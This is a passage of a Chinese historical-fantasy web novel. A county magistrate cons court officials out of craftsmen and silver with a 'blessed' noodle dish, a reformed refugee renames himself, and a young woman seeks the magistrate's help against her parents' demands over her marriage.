等到再次来到风仙县,杨舒从入城到进入县衙,眼睛一直处于瞪大状态。 ——不是,等等,谁懂啊,记得之前他来风仙县的时候,这风仙县不长这样吧??? 反正肯定没有这次看起来这般开阔大气,这风仙县到底用那些匠人干啥啦!修路? 低头一看,呦呵,他的马车还行走在触目惊心的昂贵三合土路,顿时不敢吭声了。 老天爷,修建主道全部采用三合土花费不少啊!这风仙县到底哪来的钱? 杨舒不曾看到过县城全貌,他只以为是主干路重新铺设了,即便如此,都已经足够惊讶。 去年大旱,死了许多人,别说像这样的小县,就说元城财库收紧,也不敢修路啊! 心里猜测颇多,但杨舒不敢说,等到见到方大人时,对方款待他一番后,他很快便从对方的话语中参悟到了深意。 ——想再要一批次的匠人。 杨舒倒是谨慎的先问了问先前那三百四十匠人如何。 方知意自然不会说实话,只是推脱说匠人最近忙于修路,所以人手才不够用,让对方再送一批人过来。 杨舒很想问问为何要修路啊,这总不能是一拍脑门后的决定吧?他不敢问,只能兜圈子,好在对方回他了。 这会便听方知意瞎扯。 大概便是本县先前路就烂得很,如今想着既然上次朝廷已经给了三百余人当做帮扶,为了方便日后朝廷使臣过来随时视察,于是专门将这条路修建好,只是没想到人手颇为紧缺,还希望再来一批。 “除了这道路建设外,我等想着得给天子专门建一个冬暖夏凉的行宫才是,钱自然是我等出,只是这人手还是太缺了毕竟这建行宫也不是一天两天的,所需人手也自然是越多越好,这也是我等表示和朝廷一条心的示意。” 方知意面不改色忽悠。 行宫?行什么宫? 反正天高地远的,使臣就这么一个固定的,受压迫的打工人。 先瞒着,瞒不住了就威逼利诱,不怕他说出去,若是那黎州的大人物们真敢来,那她就敢将人囚禁,这不是送上门的人质? 既然是编造假话,自然是这饼画得又大又圆,就连杨舒都听得快被噎死了,何况黎州那群人? 杨舒心想好啊,这次好歹回话简单,只是要一些匠人嘛,还是给朝廷修建行宫 ,怎么看都是一副无比忠心的模样啊! 再说了,又不需要朝廷给钱,只是将一些本地用不上,甚至算得上人口负担的资源传递过来,却换来了日后在本地居住的行宫,很划算啊! 方知意好心劝他住一晚再走,倒是杨舒婉拒了,匆匆带人离开,急着回去复命。 等到杨舒奔波几日回到元城,将此事告之朝廷保皇派几人后,几人均是对视一眼,而后从对方眼中看到了怀疑和疑惑 这风仙县是真打算修建行宫了?还是在诓骗他们? 但从杨舒口说听说,那风仙县用先前的匠人劳力,将主道路全部铺设为三合土,这何尝不是一种奢侈的讨好? 反正他们这样的,就好这口被人郑重其事的对待。 想到那铺设三合土路面花费颇多,对方就算再怎么舍得,也不至于会为了坑骗他们一些匠人,先修路,然后再假装臣服吧? 若是这样,这成本投入也太大了。 再说了,如今三分天下,谁有心思去修路,还一修就是三合土,这不纯纯大怨种,脑袋有病嘛!这点钱投资着去养养兵不好? 非要投资在修路这件收益化极低的事上? 无论从哪个角度看,对方除了投诚讨好,完全没理由这么做啊! 几人很快对视一眼,警惕心下降了几分。 这会又听杨舒说着那风仙县县令对于行宫的建设预架,几人难免陷入对方精心编织好的谎言内。 那县令所说,既地处明州边境,应当将那行宫建在高处背风处,那处是他们请道士勘察后挖掘到的风水宝地,若是在那地修建行宫,对住进来的人大有用处,且这行宫自然不是给天子一人住的,要建就建得大点,给他们也留下住的宅子,好能随时侍奉在天子身前。 当然,这话自然是台阶,信件最后,最主要的中心思想是除了人以外,再顺带打点钱! 众人:滚呐,你怎么阴魂不散的,不是要人就是要钱!上次给了人,这次两个都想要! 一口气还没上来,几人又看那上面信件所写。 主要说这行宫风水一事,说这风水可庇护后代,譬如这天赐的福物,被他们做成了形似面条的东西,这玩意只需要让受惊孕妇吃下,混合着受过赐福的神物粉末冲开后一并吃下,哪怕是即将流产,脉象不稳的妇人,也能将脉相稳住。 此物被他们名为“酸辣粉”,俗话说酸儿辣女,这便代表儿女双全,粉则是对形态的一种表示。 因这福物实在是珍贵,总共没有几份,对方在信件上写着定要好好选择授予对象,省得浪费这等神物。 默默看信的几人:酸辣粉?这什么鬼名字?好好好,吹吧吹吧,谁不会? 这会他们上哪儿找合适之人? 正心骂时,倒是凑了巧,恰好其中一人的孙女被猫冲撞了身子,眼看母子危在旦夕。 第258章 入股 消息传来时,几人正对着眼前的酸辣粉面面相觑,毕竟谁会觉得这玩意是什么所谓的神物。 莫不是用这东西来诓骗他们的?毕竟谁能知晓这玩意到底有用没用,若是按照他们那一套心诚则灵的模棱两可的说法,这但凡是稍微有些效果都能被称作是奇迹了。 但谁都没想到,竟会这般巧。 这白阁老的孙女原先也是身子骨正好,全程都是安安稳稳的,每次大夫来府内都会说日后生育必当母子平安,但如今谁能想到,竟会被一只野猫冲撞了身子。 白家男孩多,对家里唯一的小娘子看得和眼珠子一样,这会一听到着坏消息,立马直奔家中。 其余几人忙让府内准备马车,他们也一并跟着去了。 一来是都是同盟,对方家长出了事不过去看看实在是说不过去,二来是这白阁老走得急,连那酸辣粉都没带,虽说这玩意听起来不像是有用的样子,但如今都这情况了,想来是只能死马当活马医了。 等到到了白府,白阁老急得去问情况,听闻出血止不住,眼看要一尸两命时,身旁有人端来了一碗浓郁的汤过来。 白阁老还以为是什么补药,忙想让人将这东西赶紧喂给孙女,但鼻尖从前方扫过,却闻到了一股霸道强悍的味道。 ——这感觉不像是药? 定睛一看,发现哪是什么药,便是先前的酸辣粉! 白阁老有些来气,毕竟他孙女还没死呢,其余几人就这么迫不及待的想在他孙女身上试这所谓的药效了。 刚冷脸想让人不许端进去,却在听到里面稳婆传来的声响后无奈同意。 试试吧,万一有用呢? 若是无用,他定要派人去那风仙县,将这欺瞒圣上的风仙县县令拿下才是! 其余几人倒是摸着下巴看热闹。 表面上是忧心忡忡,实际上,只有他们知道他们有多兴奋。 ——得了,这不是瞌睡就来送枕头么,刚好看看这所谓的酸辣粉有没有用,若按照那信件中所说,这酸辣粉下肚,定能保胎,庇佑后代。 若是一会这白家小娘子没能守住这孩子,那就是风仙县县令骗他们,若是守住了,那说的便是真的。 只是说实话,他们不是很认可,觉得凭借着一碗酸辣粉就能救人,实在是天方夜谭,根本就不合理! 其实白阁老内心也是如此。 等下人将那酸辣粉送到其内后,白阁老又开始暗自唾弃自己,想什么呢,这玩意怎么可能能救人,他真是昏了头,信了这话。 忙让人去请元城更有名的大夫,甚至连景旭宫他都通知过来一人帮忙看看有没有希望。 外面乱做一团,里面的稳婆则是小心翼翼的从那满是红油的汤汁里舀了一勺,递到白家娘子嘴边。 这会不由嘀咕。 这到底是何物?怎么闻起来辛辣无比,这到底是何种特殊药材?这能有用? 按照稳婆多年的经验,这白家小娘子恐怕是要不行了,但那白阁老人还在外头,谁敢先开口说这丧气话,只能是听天由命,对方让她干嘛就干嘛,谁也不愿意惹恼了白阁老。 等到那一勺汤下去,那白小娘子依旧紧闭着双眼,稳婆心里咯噔一下,又觉得自己实在是异想天开,这东西怎么可能那么有用?就目前这情况,除非是大罗金仙,不然白小娘子必死无疑。 如此想着,又给床上的人喂了一勺。 本没报希望的,但谁能想到,白小娘子慢慢睁开了眼睛,脸庞从灰白慢慢攒了点血色。 稳婆哎呀一声,眼睛瞪得溜圆。 ——这简直是职业生涯里堪称最为诡异的一次了,分明是快要死的人,如今竟真能活过来? 这会忙将剩余的东西慢慢喂给她,白小娘子似乎自己也觉得这物能救命,这会吞咽得很快,等到一碗酸辣粉下肚后,她彻底脉象平稳,失血停了,胎儿也稳了。 这可以说是稳婆这么多年来见到的奇迹 白阁老还在外面等得心急,很快屋内一阵喧哗,而后有个小丫鬟跑出来报喜。 这小丫鬟是伺候在白小娘子身旁的贴身丫鬟,这会忙说白小娘子人好了,胎儿也稳了。 白阁老哪管得上那么多,屋内人说整顿好了后,他忙进去要看孙女。 屋子里一股浓厚的血腥味,白阁老蹙眉,在看到那一盆血水后,先前的凶险自然也是让他有了计量。 再一看自家孙女,这会被人妥善处置好了,正躺着。 奇怪的是,脸庞倒是还算有几分血气,白小娘子要挣扎着起来,忙被他叫停了。 毕竟人都这样了,还行什么礼,等听孙女说是因为吃了那送进来的酸辣粉后才觉得瞬身舒坦后,白阁老眉头蹙起得老高。 一旁的稳婆也忙解释,毕竟总不能看白阁老一副疑惑的模样。 “白阁老,原先小娘子确实脉象紊乱,脸色惨白,也是药效强悍,谁想到两口汤一下去,小娘子竟是慢慢睁开了眼睛。等全用完了后,小娘子这身子好了太多,可谓是上天保佑。” 稳婆又说了几句恭维白阁老的话,这才退到一边。 白阁老给今日的人赏钱后,这会有些缥缈的从孙女房间里走出来。 ——所以说,那风仙县送来的酸辣粉真有用? 这物竟然这番神奇? 那风仙县县令说没几份,这一份用到了他孙女身上,是不是可以说,他的曾孙日后会获得庇护? 难道自家曾孙便是上天庇护,所谓的天道之子? 白阁老想了许多,当然这话自然是不能说的。 其余几人在知晓白小娘子已经脱离危险后,先是表示欢喜,而后各个背地里嫉妒得发狂。 没想到这酸辣粉还真有用!这好端端的庇护竟被这白阁老轻松夺走,这让他们如何能高兴得起来! 这会几人又忙去翻看那信件,信件上还继续写了别的东西。 大致意思便是风仙县打算给那等神物供奉起来,打造一座庙宇,内立雕塑,因那道士说了,这风水能养的人很少,所以自然日后会作为私人神佛使用,只是如今手头钱很是吃紧,希望他们能搭把手,将这小庙宇一起建立起来。 到时候想来天子和亲近之人都能享受上这庇护。 信件还说,到时候他们会弄个出资表,然后让道士做法后烧给那神灵,这道士说了,这神灵乃是山神,性子爱憎分明,若是对它好的,自然是百倍奉还,谁的出资多,定会被对方记在心里,日后家族兴旺岂不是不用发愁? 先前第一次看到时,几人只觉得这绝对骗术,谁都知道不可能有神仙! 原先几人只是当这风仙县县令不要脸,说些有的没的诓骗他们掏钱,但此刻亲眼看到那酸辣粉的神效,而自己又没能得到实惠,这会恨得一口牙都要咬碎。 自然各个都要资助一笔钱出去。 因国库较为亏空,且这些钱他们也不想让朝廷其余人查到下落,自然是从自己私库里拿了银两,到时候打算让杨舒带过去。 几人倒是讨论了这到底该给多少。 “不如给五千两?这可不是个小数目了。”一人试探。 立马有人嗤笑。 “五千两?对普通人来说是够多,但对于这山神来说肯定不够。” “虽说我等亲眼看到了那神迹,但若是给的多了,恐怕自家日子也不好过啊。” 这担忧很有道理,毕竟谁也没太多流动资金。 “要我说我们该给得一样多,省得那山神厚此薄彼,日后倒是伤了咱们之间的情分。” “对,要我说,一人一万两,这算作我们个人对山神的孝敬,五千两有些少了,这一万两总算能拿出手了吧?” 很快,五个人同意了这说法,各个决定掏一万两。 至于对方索要的匠人,这会也是痛痛快快的又招收五百人,打算一并给送过去。 这招收五百人的消息一经张贴,很快城内不少没活计可干的匠人们忙着急过去应聘。 其中自然包括先前就曾报名,结果不曾招聘上,亦或是因为种种犹豫不曾报名的匠人。 虽说先前那些匠人没带回来消息,但只要是上点心的明眼人都知晓,那些匠人日子过得不赖。 谁还没有个往日的邻居了?那匠人自去了风仙县后,家里人的日子逐渐过得好了,这人只要不瞎都能看到,更何况有些人家都一并跟着去了风仙县? 若是那地方不好,那些匠人的家属能跟着过去? 起初大家以为是出了什么意外,这才需要人过去照顾,但仔细观察后便晓得不对劲,那些家属眼内轻松,可不像是过去了要去伺候人的模样,反而像是要去享福的样。 没招聘上的还好,好歹是努力过了,更难受的自然是当初瞧不上,或者是不知道的,还有便是因为恐惧不敢去的这批人。 眼看以往认识的匠人享福,简直要生生悔青肠子,但好在是如今还有机会,且招收的人更多。 眼下但凡是稍微有些门路的,知晓这活计不错的,均争抢着去报名,生怕再次错过机会。 而在这之间,吴匠人自然也去了。 他也想去报名,之前他快嫉妒死了万惠,尤其是后来还听万惠把家人接过去过好日子了,这话虽说有可能是假的,但假的,它也闹心啊!毕竟他也没亲眼看到过,万一还真是传言的这般呢! 这轰轰烈烈的招聘很快在两日内就结束,前来应聘的人多得一时间让负责招聘的官府人员都吓了一跳。 ——啊???啥情况啊,记得上一次招聘他还担心招不满,如今当日就满了! 这不禁让官兵好奇那风仙县。 原先听同僚说贫困清苦,没什么油水,但若是真没油水,岂能有这么多人争抢着要去? 第259章 回报 一时间,负责招聘的官员开始逐渐怀疑自己同事的话是不是含了水分。 不然不合理啊!若是真没有油水,这些人的热情到底来源于哪儿? ——这次他可得试试看能不能将这护送的活计拿在手里,毕竟从别人嘴里得来的始终不如亲眼看到的。 因为这次招收人数多,不少上次落选之人都被再次选上,而在这中间,吴匠人也被选上了。 不枉费他花了点钱打点。 虽说有些心疼,但想到一到了那风仙县至少每日日收一百文,这点钱很快就能赚回来后,吴匠人那点心疼很快消失。 若是不投资一些,如何能够赚钱? 至于投资的那点钱,起初吴匠人的妻子很是不满,觉得他浪费钱。 “那万惠不也没花钱,怎地如今到你了就要花钱才能去得了!若是赚钱了还好说,若是不赚钱了,我看日后咱家日子怎么过!” 吴匠人也是烦了,和妻子顶了几句嘴,不出意外被骂了一顿,甚至还差点挨了打。 这会不免恼怒。 这泼妇,日后若是他在那风仙县赚了钱,定是不会再给她点好脸色看! 一想到日后的好日子,吴匠人最近紧绷而又嫉妒的心很快平静,只等着赶紧去风仙县才是。 此番被选中的匠人自然是喜得眉眼弯弯,这有官府护送,还有马车能坐,简直是大福利,且上次他们已经知晓那风仙县日赚一百文,等他们过去了,也必定会好好干的。 这招聘很快便顺利结束了。 虽说底层干活的官府打工人知晓这招收搞得热热闹闹的,但那些高层自然是不知。 而底层小官员还以为这些大人物早就知晓会有此等状况,倒也没特意说明,只以为对方早有了解。 而高层则是一开始就觉得这活计应当是不愠不火的那类,也懒得问,一来二去,这就互相误解上了。 毕竟在他们看来这些匠人过去了也就是修路,修行宫,修庙宇,关心他们不如多关心关心那新出来的山神,看看日后能不能从那山神手中拿到些许好处才是。 想起自己包裹在信封内的那笔银票,五人均是心中暗笑。 希望这银票能作为他们对山神的投诚,至于山神更庇护谁多一些,自然得是靠银两说话了。 杨舒本以为此番在元城或许能待一段日子,结果没松快多久,很快就被迫再次出发前去风仙县了。 连带带着那五百人,和兜里揣着的银票,身后还跟着官府的护卫队,杨舒心里总有些错觉。 一种误以为自己功成名就,成为大使的错觉。 此番路上倒是还偶遇了一波流寇,但很快便被官府护卫队击杀,而几日后,杨舒顺利带着队伍回到了风仙县。 要说这杨舒来的时候,方知意也好奇他竟然会来得这般早,看来是那送过去的酸辣粉有了用。 方知意心里知晓他为何而来,这会先把人收下,而后等杨舒奉上那几个信封之际,又是一番恭维寒暄,这才将那杨舒送入一小房内休息。 而方知意则是慢慢打开这几个信封。 每个信封外都隐晦写着是来自于哪家的,等到将信封打开,看到其内数额不同的银票后,方知意很快便知晓这些人干了什么。 ——无非是约定了一个数额,结果各个都想获得山神的注意,表面都说按照规定数额给,实际上人人都有小心思。 每家的信封里除了银票还附了一封信件,大都是每家代表写的,其内隐晦指出原商量着是一万两,虽说他也手头比较紧张,但愿意为了山神的庙宇建设多投点钱,哪怕是苦着自己也行。 其内白家写的信件中提及到那酸辣粉已经被他家孙女用到,效果堪称神奇,如今为了表示谢意,白家表示让山神别介意他给多了,表面推脱是感谢,但实际上他怎么想的,谁都心知肚明,无非是给了台阶。 方知意大概一扫,发现其内给的最多的是白家,竟一人便给了五万两,而剩余四人的话,几乎都是三万两。 这一番算下来,这次相当于她从对方手里骗到了17万两,一笔相当大的数额了。 这段时间她得看情况来,若是能继续弄点钱就继续弄点,若是弄不到钱,人还弄不到么! 再说了,越往后,方知意猜测愿意自发来风仙县的人只会越来越多,如今仅仅是匠人圈子内大都知晓是什么情况,但日后这些定居在本县的元城匠人们,难道就没个亲朋好友? 既然有亲朋好友,总有看不下去想添把手的人吧,一旦信件传递回去,想来日后只会吸引来更多的人。 对于人口流入这点,方知意完全不担心。 如今风仙县发展得甚好,其内厂子遍布,供养辐射周围几个县域完全不在话下。 除了原先和祝大人共同商量过优先开发的县域外,如今她们人和钱,武器都足够,自然是不曾停歇,继续开发原先被毁坏的,位于次要等级恢复的县域。 这部分县域恢复工作和先前一样,先是引入流民负责修建城墙,而后负责修建维修官府县衙,再维修建造居民区以及对毁坏农田优先规划,且同时考虑引入新的必要的工厂。 定好这个发展大方向,这投资恢复速度自然是很快的。 人口来源比方知意预估的要多许多,因口口相传,以及那戏曲画册的影响,再加上跑商商队用着仙盟的旗号外出救助落单百姓,将那些小规模的村落挨个从外地带回,丰富风仙县附近县域人口,这种种行动自然是效益颇丰。 如今整体呈现出以风仙县和联合村落为首的经济圈,其次便是第二次发展的县域,最后才是刚刚起步开始维修,进行投入使用的县域。 因原先和那明州的陈京行暂时做了休战协议,所以这段时间,方知意只是命令多方制作火铳和震天雷,对于军营的训练也是没停下来过。 这训练计划和出兵计谋,她则是从原先的民间招聘中找到了不少好手,同时方知意自行从那集闻楼内拿出兵法书籍和军队操练计划数本书籍发放下去,让负责教授的人学习后,再将新鲜的作战计划教授给士卒们才是。 话说原先这些民间被招聘上来的不少天才,原只以为会武术即可,但等真正到位后,发现若是想往上爬,那必须得会带兵打仗,但带兵打仗不是一拍脑袋就会的,那自然需要学习兵法,在实战中融会贯通才可。 想要学习兵法,自然第一件事就是读书认字,得去学堂学习! 既是和升职挂钩,不少有心思往上爬一爬的人自然不甘心,也恰逢本县开设了适宜上工族的学堂课程安排,于是但凡是有点心气的,均是不满足,各个报名参加了这学堂授课。 而在其中,柳叁则是学得最为勤奋刻苦。 此人先前凭借自己对于善恶有报说得了方大人的眼缘,而后负责组建“忏悔室”,等到那忏悔室建立成功,最近忏悔人数逐渐少下来后,柳叁觉得自己是该考虑先学习一番,而后考虑换个岗位了,毕竟如今在他看来,忏悔室的人数下降,那便是说明需要忏悔的人正在变少,何谓会变少,那便是因为世道在变好,人在有选择的情况下,任谁都不愿意选择那等腌臜之事。 如今他虽说还在忏悔室任职,但对于日后,柳叁决定换个方向。 这段日子他脱离了武学,专攻心,虽说他也合适,但总归不愿意离开自己深耕了多年的武学区域,再加上日后想来本县会和其余的封地打来打去,柳叁心中难免生出一种紧迫感,自然也想多学些兵法,等到读出来后,他也决定带兵打仗,毕竟这是他的老本行。 也是原先传法成功和建设忏悔室的自信,让柳叁对于日后带兵打仗作战一事十分有自信,学习兵法时也是甚为认真。 但凡是在他们民间武学内混过的,如今很少有人说不认识柳叁,毕竟谁刚开始入门时不曾听过柳叁的善恶有报理论? 且这理论日后可是被仙师首肯,被方县令允许后在报纸上大肆宣扬,于是柳叁很快便成了不少人民间武师心中有大智的那一类人,更何况,柳叁本身的武功很是不错,能服人。 柳叁如今沉迷于学习兵法,他倒是头一次听到新兵法,新操练的方式,默默研读一番,发现那现代兵法内,关于小组作战的方式很是具有学习和参考意义。 就着这小组作战训练,柳叁很快便在脑内模拟了一套适合应用在本土士卒上的方案。 这套方案很快得到了其余领头人的称赞,也在方大人的支持下,小组作战如今正在加快训练,确保下次能够在秋收时和陈京行的人对上时应用上。 至于这小组作战,方知意早就想好了需要配备的武器,一切按照书上来说,热武器为主,冷武器为辅,确保成立数支鬼魂小队,等到日后火铳人手一把时,便可做到远距离取敌人首级不在话下,再搭配上那效果极为震撼的震天雷,想来等第一次作战时,这数支小队会对敌军造成碾压式的士气打击。 话说原先早早有入学堂读书意识的刘三牛,此刻凭借着自身努力,初级学堂已经毕业,如今正换了个新工作。 他读书时脑袋聪慧,对于算数很是敏感,倒是阴差阳错,做了账房先生。 也是他运气不错,恰逢毕业时,风仙县刚好新建了厂子,正好他就被招收进了厂子内,负责帮厂子计算工资,盈利等等。 这工资自然比普工日薪一百文,一百五十文高多了,毕竟是技术性的活计,给到的日薪为300文一日,且不用做体力活,甚是轻松体面。 第260章 改名 刘三牛原先不过是一流民,靠着自己一路坎坷这才来到了风仙县。 当初刚入风仙县时,他也是大字不识,在结束完基础的扫盲班教育后,倒是暗自琢磨攒钱,日后去学堂读书。 先前他只能做日薪为一百文的最基础的劳力活,等到之后干得熟练了,有时候能接到一百五十文的活计,努力干了数个月后,攒下一些钱,他这才去了初级学堂。 学堂读书不贵,他不需要多操心,当初学堂并没有半读半工的模式,他只能在上学结束后再去找工作养活自己。 好在是他作为一个成年人,对于初级学堂的掌握速度很快,虽说他原先不曾上过学,但说实话,在这里读书后,刘三牛发现他自己还是适合读书的,比如那乘法口诀表就背得比别人快多了,日常的算数和背书,他也比普通人快一些。 这才能让他在初级班连续跳级,而后顺利毕业。 毕业当日,他也参加了升级考试,这考试通过了,意味着他可以继续读中级班了。 但当初他还需要赚钱养活自己,在知晓这名额可以保留三年后,刘三牛总算松了口气。 倒也是运气不错,顺利找到了一份给厂子当账房先生的活计,这工作刘三牛干得很顺手,且在听到日薪为三百文后,刘三牛觉得自己先前的努力都不算白费。 ——原先和他相熟的一些共同打工的,如今还在拿着日薪为一百五十文的工钱,而他则是凭借自己努力,顺利将工钱翻了倍,且最为重要的是,他这份工作福利稳定,且体面,对于曾经是流民的刘三牛来说,拥有一份体面稳定的工作,绝对是他以往的梦想。 好消息简直是一件接着一件,他本以为中级学堂得日后攒点钱后才能去继续读书,但很快那半工半读的政策就下来了,报纸上说这政策的目的便是鼓励大伙都去读书,所以才会有此等优待。 且对于半工半读的话,官府还有一些补贴,虽说不多,但也聊胜于无。 更何况一开始刘三牛本就是打算继续深造的。 如今有了机会,既不耽误读书,也不耽误工作,他自然第一个就去了报名。 中级班的难度自然要比初级班大的,到了中级班后,刘三牛加倍努力,不敢有丝毫懈怠,加上日常老老实实,品行又好,且为人踏实肯干,人也在来到风仙县后养得气色充足,这一打眼看过去,竟是让人丝毫联想不到此人便是先前那个狼狈不堪的流民刘三牛。 在读书认字后,刘三牛便有了想给自己改个名字的想法。 当初他家里穷,孩子却生得不少,他是家里排行老三的,家里人希望他生下来能够当个壮实的劳动力,于是便取名叫三牛。 他的哥哥姐姐们名字也是起得很随意,比如大哥就叫大牛,大姐就叫二丫。 那个时候他父母都是农人,大字不识一个,哪有什么文化,自然是随便取名了,除非那等将孩子送到大户人家的府内做小厮,做丫鬟的才会由那老爷少爷小姐们取了雅名。 刘三牛原先不觉得自己的名字不好,但如今字识得多了,便不免觉得自己的名字不妥。 ——太随意了,且也没什么属于父母的美好寄托,大都是随大流取的名字。 想到改名要涉及的种种关卡,刘三牛不免有些担忧。 但等他下班后仔细打听,发现官府早就开始放开了此项业务。 如今的改名简单了许多了,各个部门都在一起,去县衙一次便可以将改名这事落实下来。 既然已经打听好了改名很方便后,刘三牛便开始琢磨到底取个什么名字。 思来想去,最后终于决定采取“逾恒”这两个字,“逾”指的是超越,突破,“恒”指的是恒心毅力,寓意靠自己的坚持超越命运桎梏,终于获得新生。 看来看去,刘三牛对自己的新名字满意得不得了,刘逾恒,日后他便有个充满寓意,且好听文雅的名字了! 当然,这一切除了自己努力奋斗得来的外,自然得感谢仙师,感谢方大人,感谢风仙县给予自己的一切。 刘三牛对着家中仙师的画像跪着拜了拜后,这才起身去了县衙,下定决心将名字从刘三牛改为刘逾恒。 本以为这改名业务或许人不多,但当他去了后,发现这人可比他想得多太多了。 且打眼一看,其中女子的人数可比男子多了不少。 刘三牛等了等,好容易排到他时,在登记姓名时,他便看到这登记本前一个小娘子的名字。 原本名字是“李招娣”,而如今更改后的名字是“李知予”。 看到“李知予”这名字时,刘三牛难免心中赞叹。 好名字! “知”取觉醒自知之意,“予”为自我给予,寓意认清自我价值,不依附他人期待,靠自己创造想要的生活。 感慨归感慨,刘三牛也忙将自己的原名字和后名字登记好,这才跟着进了屋内,继续后续的手续。 这也是巧了,前面的女子正在办理手续,刘三牛就这样看到了对方。 一个很有灵气的年轻小娘子,穿着虽说普通,但那双漆黑的眼睛却看得他浑身一颤,而后刘三牛忙别过脸,不敢再多看对方,难免让对方以为他是个登徒子。 对方低下头写字,他的目光却难以控制的扫过对方。 手有些粗糙,像是普通人家的小娘子,皮肤说不上细腻,但整个面庞很舒展自得。 刘三牛本就聪慧,再结合这女子给自己取的名字以及过往名字,倒是大概将她的过往猜测个一一二二。 等到女子走后,他也不敢开口问更多,但心里却是彻底烙下了今日一见。 手续操办完毕,官府工作人员告诉他等三日后,内部都更改完毕后,日后他便叫后改的名字了。 刘三牛忙谢谢对方,这才出了门。 三日后,刘三牛便不再叫刘三牛,叫做刘逾恒。 本以为要和那李小娘子再无瓜葛,但谁能想到,在他下工后,倒是意外遇到那李小娘子。 稍微过去一看,刘逾恒也是晓得了,对方弄了个小摊位,专门负责给人重新取名。 因收费合理,小摊上的人还不少。 尤其是这李小娘子还自学了八字一道,取的名字不仅仅是寓意好,还兼顾五行调和,这不仅仅是想改名的成人去她摊位上了,就连刚出生的孩子,需要取名的,如今也是主动去了那摊位上让李小娘子给取个好名字。 稍微打探一番,刘逾恒很快就发现这李小娘子的过往和他想得差不多,爹不疼娘不爱的,自己赚钱读了学堂,如今也是找到了一份不错的工作,除了日常的工作,她还出来做这个起名字的兼职工作。 倒也忙碌。 了解后,刘逾恒觉得自己更被对方吸引,但苦于不敢开口,直到等他一切稳定后,居然有人开始给他做媒了。 起初刘逾恒是想婉拒的,但实在拗不开熟人的好意,只能去相看一番,本来他是打算婉拒对方的,但在看到相看对象后,态度立马变了。 不是别人,正是李小娘子。 起初刘逾恒很谨慎,但当日子久了,两人均发现双方竟然很合得来。 尤其是他还知晓了李小娘子相看的苦衷。 ——主要是想逃离家中,其次便是因为她也到了该成家的岁数。 她家里对她实在说不上好,与其被父母打包给不合适的人,她还不如主动出击,看看能不能挑一个符合心意的。 虽说风仙县对于婚嫁方面有明确的法律条文规定,不许强迫女子婚姻,但如今毕竟多年的顽固思想也不是一朝一夕就能改变的,虽说她父母并未明说,但聪慧的李小娘子还是敏锐的发觉到了隐藏在平静表面的暗流。 原先李小娘子很怕父母给她相看,毕竟她当初没有工作,嫁了人的话,可谓是没什么好日子能过。 而如今,她有了工作后,因收入不错,她父母倒是不想让她那般快嫁人,还指望她给家里多赚几年钱再说。 李小娘子自然不愿意,她又不是那等不乐意婚嫁的女子,只是不想嫁得差,若是被拖着,日后想来相看的人家只会一家不如一家。 等到遇到刘逾恒时,她其实没抱什么期待,毕竟家里逼得紧,若她想嫁,就必须给足家中银两才能嫁。 面对父母的咄咄逼人,就算是法律也无法顾及到这点,这让李小娘子很是憋屈,如此更想快些逃离家中控制。 好在是刘逾恒此人无父无母,虽说日后没有助力,但此人和她三观甚是相配,且他愿意支付那笔钱,就当帮她从家中脱身。 两人很快看对眼后便成了亲,至于那笔钱,李小娘子并没老老实实给出全部,而是去了官府婚嫁相关部门晃悠了一圈,将自己的情况悉数告知,于是很快,此等情况便被上报给方知意。 方知意得知此事时,正忙着其余县域的规划,但李知予的事,对她来说也甚为重要。 既然李小娘子在其中产生了困惑,那便是因为她当初的法律政策做得不够完善,一定还有更好的可以解决此事的法律。 为了李小娘子婚嫁一事,方知意特意抽空,亲自和对方见面。 而李小娘子在得知方大人居然要亲自和她见面时,整个人明显愣住了。 ——她原先只是抱着试试看的心态,先前看到那官府工作人员肯管,她已经觉得很好了,而如今突然收到县令大人的会面,她整个人都是紧张不安的。 县令大人忙于公务,竟然真的有空管这等小事?《 》 260-270 第261章 回应 这场会面很快开始,而李小娘子则是头一次看到方大人。 和传闻里说的一样,方大人自带一种凌厉的气场,以至于第一时间她都没看清楚方大人的模样,再加上心情紧张,李小娘子一直微微垂头,但很快在察觉到方大人为人亲切后,她满腹紧张这才缓缓淡下去。 此刻抬头和对方对视,李小娘子后知后觉——方大人竟然生得这般好看,只是先前气场太强,倒是让她第一眼生不出任何打量对方面容的心思。 方知意很快便将话题引导到李小娘子的婚嫁一事上。 “不若李小娘子你说说看,你近期遭遇的困难,不用太担心,只需要将你的委屈和不满全部说出来。” 李小娘子从未想过像方大人这样大的官,居然还会在意她一个普通小娘子,又激动,又强迫自己淡定下来,将自己身上发生的事情一一说清楚。 可能是委屈终于有了地方可以发泄,李小娘子不自觉抹了把眼泪,讲起了她作为李招娣的过去。 “方大人,我是这般想的,虽说我爹娘对我不好,素日也更多看重我弟弟,但好歹他们养大了我,我愿意给他们养老,但并非同意他们一味的朝我要钱。先前在我没有工作前,他们想赶紧将我卖了换点彩礼,如今我有了工作,他们倒是不着急,就想让我慢慢给家里赚钱。 方大人,您若是问我对婚姻的想法,自然是遇到合适的人,也是想要成亲组成一个新的家庭的。 如今我便是遇到了个合适的人,但无奈家中父母非要一大笔钱才允许对方和我成亲,若是不给,便这样拖延着,哪怕我不和这个人成亲,日后换个人,还会被拿捏,且越是往后,我的年纪大了,岂不是更是难找到合适的? 我心想若是跟他们斗气,反而是落入下乘,耽误了自己,不如痛快给点钱算了,但实在是他们太过分,还想在婚后将手伸到我的口袋来要钱,我也是没了办法,才将此事上报。” 或许是说到了伤心处,李小娘子情不自禁抹了抹眼泪。 方知意听得清楚。 李小娘子说话很有条理,将事情说得清楚的同时,也让她了解到了和李小娘子情况相似的不少小娘子的痛楚。 此刻微微蹙眉,而后很快脑内便有了对策。 “李小娘子,你的事我知晓了,你放心,这事很快就有定论,你近期先等等,先不要成亲。” 李小娘子有些疑惑的看着方知意,心想不会方大人会为了她去警告家中父母? 正是毫无头绪之际,方知意淡淡道:“大概一周,这件事就会解决。这婚姻法日后还需完善,先前不够完善,倒是我疏忽了。” 眼看方大人一副自责的模样,李小娘子忙表态。 “大人忙于公务,如何能事事考虑齐全,且如今风仙县的日子比原先好太多了,我现在觉得这日子还和做梦一样好,怎么能说是大人疏忽呢!” 方知意难得露出笑容,喊人送她出去,等到李小娘子被客客气气的送出来时,心脏开始后知后觉的跳跃滚动。 ——刚才,她居然真的和方大人坐着聊天了!她将她的苦难,委屈,一并讲给了县令大人。 那方大人是否会帮她?又该如何帮她? 李小娘子心里揣着心事,这会回去后也不敢声张。 因想着方大人口中说的一周后出结果,她心想这一周她就先耗着,反正不差一周。 刘逾恒那边还好,倒是她家中有几分怨言,但考虑到李小娘子只是一时气急不肯,但日子长了,必定会妥协的,也就大摇大摆的等着她主动屈服。 